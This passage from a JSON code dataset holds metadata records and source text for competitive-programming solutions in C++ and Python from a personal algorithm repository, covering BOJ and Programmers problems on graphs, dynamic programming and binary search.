answer;\\n}\\n\\nint main() {\\n int answer = solution(\\\"011\\\");\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.483205646276474,\n \"alphanum_fraction\": 0.49911609292030334,\n \"avg_line_length\": 22.91549301147461,\n \"blob_id\": \"b1708c82a2d867c8b8d43cd2c6fccda30c6c9a61\",\n \"content_id\": \"a0d45f4bf1f30c9e0dbffc46f4f005cd2a17d7f6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1763,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 71,\n \"path\": \"/programmers/Level 2/rank_search.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 순위 검색\\n2021 KAKAO BLIND RECRUITMENT\\n2022-04-18\\n*/\\n#include <string>\\n#include <vector>\\n#include <sstream>\\n#include <algorithm>\\n#include <unordered_map>\\nusing namespace std;\\n\\nunordered_map<string, vector<int>> m; \\n\\nvector<string> split(string str, char del){\\n vector<string> ret;\\n istringstream iss(str);\\n string buffer;\\n \\n while(getline(iss, buffer, del)) ret.push_back(buffer);\\n \\n return ret;\\n}\\n\\nvoid getCombination(vector<string> v){\\n for(int i = 0 ; i < 16 ; i++){\\n string tmp;\\n \\n for(int j = 0 ; j < 4 ; j++){\\n if(i & (1 << j)) tmp += \\\"-\\\";\\n else tmp += v[j];\\n }\\n \\n m[tmp].push_back(stoi(v[4]));\\n }\\n}\\n\\nvector<int> solution(vector<string> info, vector<string> query) {\\n vector<int> answer;\\n \\n for(int i = 0 ; i < info.size() ; i++){\\n vector<string> ret = split(info[i], ' ');\\n getCombination(ret); // 해당 info로 만들 수 있는 모든 조합 만들고 점수 삽입\\n }\\n \\n for(auto &i : m){\\n sort(i.second.begin(), i.second.end());\\n }\\n \\n for(int i = 0 ; i < query.size() ; i++){\\n vector<string> ret = split(query[i], ' ');\\n string tmp;\\n \\n for(int j = 0 ; j < ret.size() - 1 ; j++){\\n if(ret[j] == \\\"and\\\") continue;\\n tmp += ret[j];\\n }\\n \\n vector<int> scores = m[tmp]; // query 조건을 만족하는 점수들\\n \\n if(scores.size() == 0) answer.push_back(0);\\n else{\\n int score = stoi(ret[7]);\\n int idx = lower_bound(scores.begin(), scores.end(), score) - scores.begin();\\n \\n answer.push_back(scores.size() - idx);\\n }\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4604026973247528,\n \"alphanum_fraction\": 0.4899328947067261,\n \"avg_line_length\": 18.128204345703125,\n \"blob_id\": \"cbb9aae785b0e766bfbd4db92c4045f35b2ef780\",\n \"content_id\": \"b70a9d03a3e29b85991c75a7a1db92ca799799c8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 761,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 39,\n \"path\": \"/programmers/Level 3/immigration.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 3: 입국심사\\n이분탐색\\n2021-12-19\\n*/\\n#include <vector>\\n#include <algorithm>\\n#include <iostream>\\n#define MAX 1e18\\nusing namespace std;\\n\\nlong long solution(int n, vector<int> times) {\\n long long answer = MAX;\\n long long start = 0, end = MAX, mid, sum;\\n \\n sort(times.begin(), times.end());\\n \\n while(start <= end) {\\n sum = 0;\\n mid = (start + end) / 2;\\n \\n for(int i = 0 ; i < times.size() ; i++) sum += mid / times[i];\\n \\n if(sum >= n) {\\n end = mid - 1;\\n answer = min(mid, answer);\\n }\\n else {\\n start = mid + 1;\\n }\\n }\\n \\n return answer;\\n}\\n\\nint main() {\\n long long answer = solution(6, {7, 10});\\n cout << answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5010941028594971,\n \"alphanum_fraction\": 0.5470459461212158,\n \"avg_line_length\": 15.962963104248047,\n \"blob_id\": \"7f9945080329a08f09e8279bd7cc5a5f23f9124c\",\n \"content_id\": \"fed28e2efc8ea44410ac416fe04233986a9c9efd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 465,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 27,\n \"path\": \"/BOJ/Implementation/4358.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 4358번: 생태학\\nDATE: 2022-03-11\\n*/\\n#include <iostream>\\n#include <string>\\n#include <map>\\nusing namespace std;\\n\\nmap<string, int> m;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str;\\n int total = 0;\\n\\n while(getline(cin, str)){\\n m[str]++;\\n total++;\\n }\\n\\n cout << fixed;\\n cout.precision(4);\\n for(auto i : m) cout << i.first << \\\" \\\" << (double)i.second / total * 100 << '\\\\n';\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.42171189188957214,\n \"alphanum_fraction\": 0.5114822387695312,\n \"avg_line_length\": 11.972972869873047,\n \"blob_id\": \"b739c099b970145dda8f6237edaec93f725ed60e\",\n \"content_id\": \"11707c0636205c0f9e6603eda9c7c9fc0b15070f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 489,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 37,\n \"path\": \"/BOJ/Implementation/4673.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 4673번: 셀프 넘버\\n2021-03-23\\n*/\\n#include <iostream>\\n\\nusing namespace std;\\n\\nint d(int num) {\\n\\tint sum = num;\\n\\n\\twhile (num != 0) {\\n\\t\\tsum += num % 10;\\n\\t\\tnum = num / 10;\\n\\t}\\n\\n\\treturn sum;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\tbool arr[10001] = { false, };\\n\\n\\tfor (int i = 1; i <= 10000; i++) {\\n\\t\\tint idx = d(i);\\n\\n\\t\\tif(idx <= 10000)\\n\\t\\t\\tarr[idx] = true;\\n\\t}\\n\\n\\tfor (int i = 1; i <= 10000; i++) {\\n\\t\\tif (!arr[i])\\n\\t\\t\\tcout << i << endl;\\n\\t}\\n\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5260663628578186,\n \"alphanum_fraction\": 0.5734597444534302,\n \"avg_line_length\": 22.55555534362793,\n \"blob_id\": \"5c65ce2123fef822b4f11609bd978d7560ba6ca0\",\n \"content_id\": \"b51848a67e7029614e6e03f0a3d5aa0d7fb31a40\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 221,\n \"license_type\": \"no_license\",\n \"max_line_length\": 40,\n \"num_lines\": 9,\n \"path\": \"/programmers/Level 1/add_yin_and_yang.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 1: 음양 더하기\\n# date: 2022-04-14\\ndef solution(absolutes, signs):\\n answer = 0\\n \\n for a, s in zip(absolutes, signs):\\n answer += a if s == True else -a\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.4934593141078949,\n \"alphanum_fraction\": 0.5167151093482971,\n \"avg_line_length\": 19.55223846435547,\n \"blob_id\": \"482c180d00faa124070474b46b4ec649b70c0d13\",\n \"content_id\": \"e31c5aa92ee9645e3d976030e134286f5d54c19b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1390,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 67,\n \"path\": \"/BOJ/MST/1647.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1647번: 도시 분할 계획\\n2021-12-29\\nKruskal Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 1000001\\nusing namespace std;\\n\\npair<int, pair<int,int>> edge[MAX];\\n\\nint getParent(int parent[], int x) {\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent, parent[x]);\\n}\\n\\nvoid unionParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n int n, m;\\n int a, b, c;\\n int ans = 0, cnt = 0;\\n cin >> n >> m;\\n\\n int parent[n + 1];\\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\\n\\n for(int i = 0 ; i < m ; i++) {\\n cin >> a >> b >> c;\\n edge[i].first = c; \\n edge[i].second.first = a;\\n edge[i].second.second = b;\\n }\\n\\n sort(edge, edge + m);\\n\\n for(int i = 0 ; i < m ; i++) {\\n int a = edge[i].second.first;\\n int b = edge[i].second.second;\\n int c = edge[i].first;\\n\\n if(findParent(parent, a, b)) continue;\\n \\n unionParent(parent, a, b);\\n ans += c;\\n if(++cnt == n - 2) break;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.44155845046043396,\n \"alphanum_fraction\": 0.5038961172103882,\n \"avg_line_length\": 13.84615421295166,\n \"blob_id\": \"bf01d2ff2ecd6bcb99924adb2308793a031966d5\",\n \"content_id\": \"7f1261c11d6ac52245382ff674d2de57709c8227\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 393,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 26,\n \"path\": \"/BOJ/Dynamic Programming/2193.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2193번: 이친수\\nDATE: 2021-05-28\\nDynamic programming\\n*/\\n#include <iostream>\\n#define MAX 91\\nusing namespace std;\\n\\nlong long dp[MAX];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n cin >> n;\\n\\n dp[1] = dp[2] = 1;\\n\\n for(int i = 3 ; i < MAX ; i++){\\n dp[i] = dp[i - 1] + dp[i - 2];\\n }\\n\\n cout << dp[n] << '\\\\n';\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3906829059123993,\n \"alphanum_fraction\": 0.4203282296657562,\n \"avg_line_length\": 22.625,\n \"blob_id\": \"de5e573292c3d8c854669c6c92626a51709acb46\",\n \"content_id\": \"a2c8ffe4a254dd4c4cf43c489d5de3700b44702c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1889,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 80,\n \"path\": \"/programmers/Level 3/lock_and_key.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 3 : Lock and Key\\n//2020 KAKAO BLIND RECRUITMENT\\n//2021-05-29\\n#include <string>\\n#include <vector>\\n#include <iostream>\\nusing namespace std;\\n\\nbool sum(int x, int y, vector<vector<int>> key, vector<vector<int>> board){\\n int M = key.size();\\n int bs = board.size();\\n \\n for(int i = 0 ; i < M ; i++){\\n for(int j = 0 ; j < M ; j++){\\n board[x + i][y + j] += key[i][j];\\n }\\n }\\n \\n for(int i = M - 1 ; i < bs - M + 1; i++){\\n for(int j = M - 1 ; j < bs - M + 1 ; j++){\\n if(board[i][j] != 1)\\n return false;\\n }\\n }\\n \\n return true;\\n}\\n\\nvector<vector<int>> rotate(vector<vector<int>> key){\\n int M = key.size();\\n vector<vector<int>> tmp(M, vector<int>(M, 0));\\n \\n for(int i = 0 ; i < M ; i++){\\n for(int j = 0 ; j < M ; j++){\\n tmp[i][j] = key[M - j - 1][i];\\n }\\n }\\n \\n key = tmp;\\n return key;\\n}\\n\\nbool solution(vector<vector<int>> key, vector<vector<int>> lock) {\\n bool answer = false;\\n \\n int M = key.size();\\n int N = lock.size();\\n int bs = lock.size() + (key.size() - 1)*2;\\n vector<vector<int>> board(bs, vector<int>(bs, 0));\\n \\n for(int i = 0 ; i < N ; i++){\\n for(int j = 0 ; j < N ; j++){\\n board[i + M - 1][j + M - 1] = lock[i][j];\\n }\\n }\\n \\n for(int i = 0 ; i < 4 ; i++){\\n for(int j = 0 ; j < M+N-1 ; j++){\\n for(int k = 0 ; k < M+N-1 ; k++){\\n if(sum(j, k , key, board)){\\n answer = true;\\n return answer;\\n }\\n }\\n }\\n key = rotate(key);\\n }\\n \\n return answer;\\n}\\n\\nint main(){\\n vector<vector<int>> key = {{0, 0, 0}, {1, 0, 0}, {0, 1, 1}};\\n vector<vector<int>> lock = {{1, 1, 1}, {1, 1, 0}, {1, 0, 1}};\\n\\n if(solution(key, lock)) cout << \\\"true\\\\n\\\";\\n else cout << \\\"false\\\\n\\\";\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4127906858921051,\n \"alphanum_fraction\": 0.4970930218696594,\n \"avg_line_length\": 14,\n \"blob_id\": \"4756c1f10deb7d74799f5bb7c78dbe6ec56ad635\",\n \"content_id\": \"49bf0f6221bd9a395a28cd2e0218971d20525b19\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 358,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 23,\n \"path\": \"/BOJ/Implementation/14681.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14681번: 사분면 고르기\\n2021-03-23\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\tint x, y;\\n\\tcin >> x >> y;\\n\\n\\tif (x > 0 && y > 0)\\n\\t\\tcout << 1;\\n\\telse if (x < 0 && y > 0)\\n\\t\\tcout << 2;\\n\\telse if (x < 0 && y < 0)\\n\\t\\tcout << 3;\\n\\telse if (x > 0 && y < 0)\\n\\t\\tcout << 4;\\n\\t\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4692832827568054,\n \"alphanum_fraction\": 0.4957337975502014,\n \"avg_line_length\": 18.88135528564453,\n \"blob_id\": \"68df5d3574a5231b917655052152a15038e88f75\",\n \"content_id\": \"e69f67dfbef801b76cff04414de2256122531715\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1196,\n \"license_type\": \"no_license\",\n \"max_line_length\": 95,\n \"num_lines\": 59,\n \"path\": \"/BOJ/Dijkstra/1916.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1916번: 최소비용 구하기\\n2021-12-28\\nDijkstra Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define MAX 1001\\n#define INF 100000001\\nusing namespace std;\\n\\nint d[MAX];\\nvector<pair<int, int>> graph[MAX];\\n\\nvoid dijkstra(int start) { \\n priority_queue<pair<int, int>, vector<pair<int,int>>, greater<pair<int,int>>> pq; // 거리, 노드\\n\\n pq.push({0, start});\\n d[start] = 0;\\n\\n while(!pq.empty()) {\\n int distance = pq.top().first;\\n int cur = pq.top().second;\\n pq.pop();\\n\\n if(d[cur] < distance) continue;\\n for(int i = 0 ; i < graph[cur].size() ; i++) {\\n int newDistance = graph[cur][i].second;\\n int next = graph[cur][i].first;\\n\\n if(distance + newDistance < d[next]) {\\n d[next] = distance + newDistance;\\n pq.push({d[next], next});\\n }\\n }\\n }\\n}\\n\\nint main() {\\n int n, m;\\n int x, y, z;\\n int a, b;\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < m ; i++) {\\n cin >> x >> y >> z;\\n graph[x].push_back(make_pair(y, z));\\n }\\n\\n cin >> a >> b;\\n\\n fill(d, d + n + 1, INF);\\n dijkstra(a);\\n\\n cout << d[b];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4473229646682739,\n \"alphanum_fraction\": 0.49740931391716003,\n \"avg_line_length\": 24.755556106567383,\n \"blob_id\": \"d6efa24c2ccc473c27da5246bde7659319dcc178\",\n \"content_id\": \"34e63d36d2d02831c8c6048239c24c1d65a7226b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1168,\n \"license_type\": \"no_license\",\n \"max_line_length\": 98,\n \"num_lines\": 45,\n \"path\": \"/BOJ/Dynamic Programming/2096.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2096번: 내려가기\\nDATE: 2022-01-17\\nDynamic Programming\\nSliding Window\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, num;\\n cin >> n;\\n\\n int minArr[3], maxArr[3], minTmp[3], maxTmp[3];\\n int input[3];\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> input[0] >> input[1] >> input[2];\\n\\n if(i == 0) {\\n for(int j = 0 ; j < 3 ; j++) minTmp[j] = maxTmp[j] = minArr[j] = maxArr[j] = input[j];\\n continue;\\n }\\n\\n minArr[0] = input[0] + min(minTmp[0], minTmp[1]);\\n maxArr[0] = input[0] + max(maxTmp[0], maxTmp[1]);\\n\\n minArr[1] = input[1] + min({minTmp[0], minTmp[1], minTmp[2]});\\n maxArr[1] = input[1] + max({maxTmp[0], maxTmp[1], maxTmp[2]});\\n\\n minArr[2] = input[2] + min(minTmp[1], minTmp[2]);\\n maxArr[2] = input[2] + max(maxTmp[1], maxTmp[2]);\\n\\n for(int j = 0 ; j < 3 ; j++){\\n minTmp[j] = minArr[j];\\n maxTmp[j] = maxArr[j];\\n }\\n }\\n \\n cout << *max_element(maxArr, maxArr + 3) << \\\" \\\" << *min_element(minArr, minArr + 3);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4417129158973694,\n \"alphanum_fraction\": 0.46708962321281433,\n \"avg_line_length\": 19.03174591064453,\n \"blob_id\": \"d0dd9530d9530b80a325ba140b847e2f04563111\",\n \"content_id\": \"849f5e5a8fe0b35aa1b48234b9ae027883c1c36e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1309,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 63,\n \"path\": \"/BOJ/Graph Theory/1976.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 1976번: 여행 가자\\nDATE: 2021-02-08\\nUnion-Find\\n*/\\n#include <iostream>\\n#define MAX 200\\nusing namespace std;\\n\\nint arr[MAX][MAX];\\n\\nint getParent(int parent[], int x){\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent, parent[x]);\\n}\\n\\nvoid unionParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\n//같은 그래프에 속하는지 확인\\nint findParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m;\\n cin >> n >> m;\\n\\n int parent[n+1], dst[m];\\n for(int i = 1 ; i <= n ; i++){\\n parent[i] = i;\\n }\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < n ; j++){\\n cin >> arr[i][j];\\n if(arr[i][j] == 1 || i==j) //같은 부모 노드를 갖도록함\\n unionParent(parent, i+1, j+1); \\n }\\n }\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> dst[i];\\n if(i > 0){\\n if(!findParent(parent, dst[i-1], dst[i])){\\n cout << \\\"NO\\\";\\n return 0;\\n }\\n }\\n }\\n\\n cout << \\\"YES\\\";\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4082733690738678,\n \"alphanum_fraction\": 0.44964027404785156,\n \"avg_line_length\": 17.566667556762695,\n \"blob_id\": \"f737a00b971f99ef2617e6c90eff5fd9e72853be\",\n \"content_id\": \"5a0a0be74dd9ebdfdd1922c9b46bda457fa3fc9f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 590,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 30,\n \"path\": \"/BOJ/Implementation/12904.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 12904번: A와 B\\nDATE: 2021-11-22\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string s, t, tmp;\\n cin >> s >> t;\\n\\n while(t.length() > s.length()){\\n char last = t[t.length() - 1]; //t의 마지막 글자 \\n t.erase(t.length() - 1, 1); //t의 마지막 글자 제거\\n \\n if(last == 'B'){\\n reverse(t.begin(), t.end());\\n }\\n\\n if(t == s) {\\n cout << 1;\\n return 0;\\n }\\n }\\n\\n cout << 0;\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.32930514216423035,\n \"alphanum_fraction\": 0.3645518720149994,\n \"avg_line_length\": 16.438596725463867,\n \"blob_id\": \"3ed3b41c6e110d6703e486557591096d1b748bd4\",\n \"content_id\": \"5db392d0fb1fc91c4aa9c0d67d04e368f0aafd84\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1041,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 57,\n \"path\": \"/BOJ/Binary Search/2343.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2343번: 기타 레슨\\n2021-12-19\\nBinary Search\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, num, ans = 1000000000;\\n int start, end, mid, sum, cnt;\\n \\n cin >> n >> m;\\n\\n int arr[n];\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> arr[i];\\n sum += arr[i];\\n }\\n\\n start = 1;\\n end = sum;\\n\\n while(start <= end) {\\n cnt = 1;\\n sum = 0;\\n mid = (start + end) / 2;\\n\\n for(int i = 0 ; i < n ; i++) {\\n if(arr[i] > mid) { // 모든 강의가 들어가야 함\\n cnt = n + 1; // M <= N (cnt는 무조건 M보다 크게 됨)\\n break;\\n }\\n\\n sum += arr[i];\\n\\n if(sum > mid){\\n cnt++;\\n sum = arr[i];\\n }\\n }\\n\\n if(cnt <= m) {\\n ans = min(ans, mid);\\n end = mid - 1;\\n }\\n else {\\n start = mid + 1;\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.40717029571533203,\n \"alphanum_fraction\": 0.44430217146873474,\n \"avg_line_length\": 18.073171615600586,\n \"blob_id\": \"91370efc4b060747f49bcd0884c6bf50820fdd55\",\n \"content_id\": \"f527fc1f3bc231b6ba674bb8f737da50e4bb6bcf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 795,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 41,\n \"path\": \"/BOJ/Dynamic Programming/14501.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14501번: 퇴사\\nDATE: 2021-10-07\\nDynamic Programming\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#include <vector>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, max_val;\\n cin >> n;\\n\\n int arr[2][n];\\n\\n for(int i = 0 ; i < n ; i++) {\\n vector<int> tmp;\\n int t, p; //기간, 금액\\n \\n cin >> t >> p;\\n arr[1][i] = t;\\n\\n if(i + t > n) {\\n arr[0][i] = 0;\\n continue;\\n }\\n\\n for(int j = 0 ; j < i ; j++) {\\n if(j + arr[1][j] <= i) tmp.push_back(arr[0][j]);\\n }\\n\\n if(tmp.size() > 0) max_val = *max_element(tmp.begin(), tmp.end());\\n arr[0][i] = max_val + p;\\n }\\n\\n cout << *max_element(arr[0], arr[0] + n);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4497816562652588,\n \"alphanum_fraction\": 0.4606986939907074,\n \"avg_line_length\": 23.553571701049805,\n \"blob_id\": \"ced03fd54aa575bb1842de59c4013509491a7572\",\n \"content_id\": \"2fed31925e1acfcf7f37cf3e0dedf7b1a03a6430\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1392,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 56,\n \"path\": \"/programmers/Level 2/menu_renewal.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 메뉴 리뉴얼\\ndate: 2022-03-29\\n*/\\n#include <string>\\n#include <vector>\\n#include <algorithm>\\n#include <map>\\nusing namespace std;\\n\\nbool cmp(pair<string, int> a, pair<string, int> b){\\n return a.second > b.second;\\n}\\n\\nvector<string> solution(vector<string> orders, vector<int> course) {\\n vector<string> answer;\\n map<string, int> m; // 조합, 개수\\n \\n for(string i : orders){\\n sort(i.begin(), i.end());\\n \\n for(int j : course){\\n if(i.length() < j) continue;\\n \\n vector<bool> tmp(i.length(), true);\\n for(int k = 0 ; k < j ; k++) tmp[k] = false;\\n \\n do{ \\n string str;\\n \\n for(int k = 0 ; k < tmp.size() ; k++){\\n if(!tmp[k]) str += i[k];\\n }\\n \\n m[str]++;\\n }while(next_permutation(tmp.begin(), tmp.end()));\\n }\\n }\\n \\n int arr[course.back() + 1];\\n fill(arr, arr + course.back() + 1, 0);\\n \\n vector<pair<string, int>> v(m.begin(), m.end());\\n sort(v.begin(), v.end(), cmp);\\n \\n for(auto i : v){\\n if(i.second >= arr[i.first.length()] && i.second > 1) {\\n arr[i.first.length()] = i.second;\\n answer.push_back(i.first);\\n }\\n }\\n \\n sort(answer.begin(), answer.end());\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3294491469860077,\n \"alphanum_fraction\": 0.3924788236618042,\n \"avg_line_length\": 29.467741012573242,\n \"blob_id\": \"0de164123bd1d295b7a73b51745dad2615c72102\",\n \"content_id\": \"9f7550b57ddf57f67190c03f67558dbfbfcd786a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1894,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 62,\n \"path\": \"/BOJ/Dynamic Programming/17404.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 17404번: RGB거리 2\\nDATE: 2021-07-29\\nDynamic Programming\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define MAX 987654321\\nusing namespace std;\\n\\nint input[1000][3];\\nint house[3][1000][3];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, r, g, b, ans=MAX;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> r >> g >> b;\\n input[i][0] = r;\\n input[i][1] = g;\\n input[i][2] = b;\\n }\\n\\n for(int i = 0 ; i < 3 ; i++){\\n copy(&input[0][0], &input[0][0] + 3000, &house[i][0][0]);\\n \\n for(int j = 0 ; j < 3 ; j++)\\n if(i != j) house[i][0][j] = MAX;\\n\\n for(int j = 1 ; j < n ; j++){\\n if(j == n -1){\\n if(i == 0) {\\n house[i][j][1] = min(house[i][j-1][0], house[i][j-1][2]) + house[i][j][1];\\n house[i][j][2] = min(house[i][j-1][0], house[i][j-1][1]) + house[i][j][2];\\n }\\n else if(i == 1){\\n house[i][j][0] = min(house[i][j-1][1], house[i][j-1][2]) + house[i][j][0];\\n house[i][j][2] = min(house[i][j-1][0], house[i][j-1][1]) + house[i][j][2];\\n }\\n else if(i == 2){\\n house[i][j][0] = min(house[i][j-1][1], house[i][j-1][2]) + house[i][j][0];\\n house[i][j][1] = min(house[i][j-1][0], house[i][j-1][2]) + 